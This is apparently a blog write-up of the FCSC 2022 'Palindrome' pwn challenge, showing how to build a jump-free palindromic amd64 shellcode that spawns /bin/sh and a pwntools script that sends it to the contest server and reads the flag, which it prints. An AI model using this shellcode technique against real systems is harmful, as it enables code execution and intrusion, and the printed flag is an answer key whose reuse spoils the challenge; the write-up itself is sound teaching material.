Pour un rendu optimal, activez JavaScript

[FCSC 2022] Pwn - Palindrome (⭐⭐)

 ·  ☕ 3 min de lecture  ·  ✍️ ValekoZ

Description

Voici un exercice de shellcoding comme on les aime ! [ ou pas :-) ]

SHA256(execut0r) = de551ab323fc4d86cb8567d6839e90162b01a00c7c3ab53703dd99428dc25547.

nc challenges.france-cybersecurity-challenge.fr 2054

Note : le binaire à exploiter n’a pas accès à Internet.

Translation:

This is an exercise of shellcoding as we like them ! [ or not :-) ]

SHA256(executor) = de551ab323fc4d86cb8567d6839e90162b01a00c7c3ab53703dd99428dc25547.

nc challenges.france-cybersecurity-challenge.fr 2054

Note : the binary to exploit has no access to Internet.

First thoughts about the challenge

Writing a shellcode is a pretty easy task. If you know the basics of assembly, you should be able to do it in a few minutes.

But here, there are some constraints:

  • The shellcode must be palindromic.
    • shellcode == shellcode[::-1]
  • No invalid instructions are allowed.
  • No jump / ret / call etc. are allowed.

When I first saw this, I just thought it was an annoying task, and there would be 2 solves at the end of the CTF because nobody would want to waste their time on such a challenge.

But at the moment I am writing these lines, there are 33 solves .. I was so wrong ! So maybe this is not as annoying as I thought ?

My approach

When we use an instruction, we need to check if the palindrome of this single instruction is valid, and if it does not do bad things (modifying some registers, etc.).

The problem is, most of the time we can not mov <register>, <value>, we would need to check it for every register, and every value, and trying to combine these to get the value we want.

Quick reminder:

We need to put /bin/sh\0 in the stack, and 0x3b in the register rax.

My idea was to find some very basic instructions that does not depend on as much parameters as the mov instruction, and then build the values from these instructions.

I found the following instructions:

rol rax, 1
rol r8, 1
inc rax
inc r8
push r8
push rsp
pop rdi

With these instructions, we can build the values using the following algorithm:

1
2
3
4
5
6
for bit in bin(value)[2:]:
    # Shift the previous bits to the left
    print("rol r8, 1")
    if bit == '1':
        # Set the least significant bit to 1
        print("inc r8")

My solution

First, let’s connect to the remote server.

1
2
3
4
5
from pwn import *

context.arch = 'amd64'

p = remote('challenges.france-cybersecurity-challenge.fr', 2054)
[+] Opening connection to challenges.france-cybersecurity-challenge.fr on port 2054: Done

Now, we will build our instructions to:

  • put /bin/sh\0 in the r8 register
  • push the r8 register (put /bin/sh\0 in the stack)
  • move rsp to rdi
  • put 0x3b in the rax register
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
instructions = [
    'rol r8, 1\n' + \
        ('' if x == '0' else 'inc r8\n')
    for x in bin(unpack(b'/bin/sh\0'))[2:]
]

instructions += ['push r8\n']

instructions += ['push rsp\n', 'pop rdi\n']

instructions += [
    'rol rax, 1\n' + \
        ('' if x == '0' else 'inc rax\n')
    for x in bin(0x3b)[2:]
]

Let’s assemble the instructions, and create our palindrome:

1
2
3
4
5
shellcode = asm(''.join(instructions))

# We use `shellcode[::-1] + shellcode` instead of `shellcode + shellcode[::-1]`
# In order to avoid the reverse shellcode to modify the registers
shellcode = shellcode[::-1] + shellcode
1
2
3
4
5
6
p.sendline(shellcode.hex().encode())
p.recv(timeout=1)
p.sendline(b'cat flag.txt')
flag = p.recvline()

success("Flag: " + flag.decode())
[+] Flag: FCSC{662c7ce1f85b5bb4a874a9ecddae4ea9b24d5ef0ce72c28df162ee8311b19ec3}
Partagez

Hackin'TN
RÉDIGÉ PAR
ValekoZ
Former president of HackIn'TN